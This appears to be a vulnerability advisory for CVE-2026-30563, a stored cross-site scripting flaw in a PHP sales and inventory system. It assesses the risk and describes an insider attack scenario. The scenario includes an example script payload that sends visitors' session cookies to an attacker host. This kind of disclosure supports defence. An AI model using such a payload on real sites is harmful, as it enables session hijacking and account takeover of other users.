PHP CVE-2026-30563

While CVSS metrics are unavailable, multiple signals indicate moderate-to-high real-world risk. The vulnerability requires authenticated access (limiting initial attacker reach to users with account credentials or those who can social-engineer valid accounts), but once injected, the payload persists and automatically executes for all users accessing the affected page-including administrative users-enabling session hijacking, credential theft, or malware distribution. The existence of publicly available proof-of-concept code lowers the barrier to exploitation. The primary mitigating factor is that this affects a niche open-source inventory system with a relatively small user base compared to mainstream platforms. However, for affected organizations, the impact is significant: an authenticated insider or compromised account can compromise all users of the system. SSVC framework would likely classify this as Exploitable (POC exists) with Automatable impact (XSS payloads are easily generalized) and potentially High technical impact if administrators are affected.

A disgruntled employee with a valid login account accesses the Sales and Inventory System and navigates to the store details page. They inject a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into the website field and submit the form. The payload is stored unencoded in the database. When the system administrator or other users later view the store details page, the injected script automatically executes in their browser, sending their session cookies to the attacker's server, enabling account takeover. A public proof-of-concept demonstrates this attack vector, making it reproducible by anyone with system access.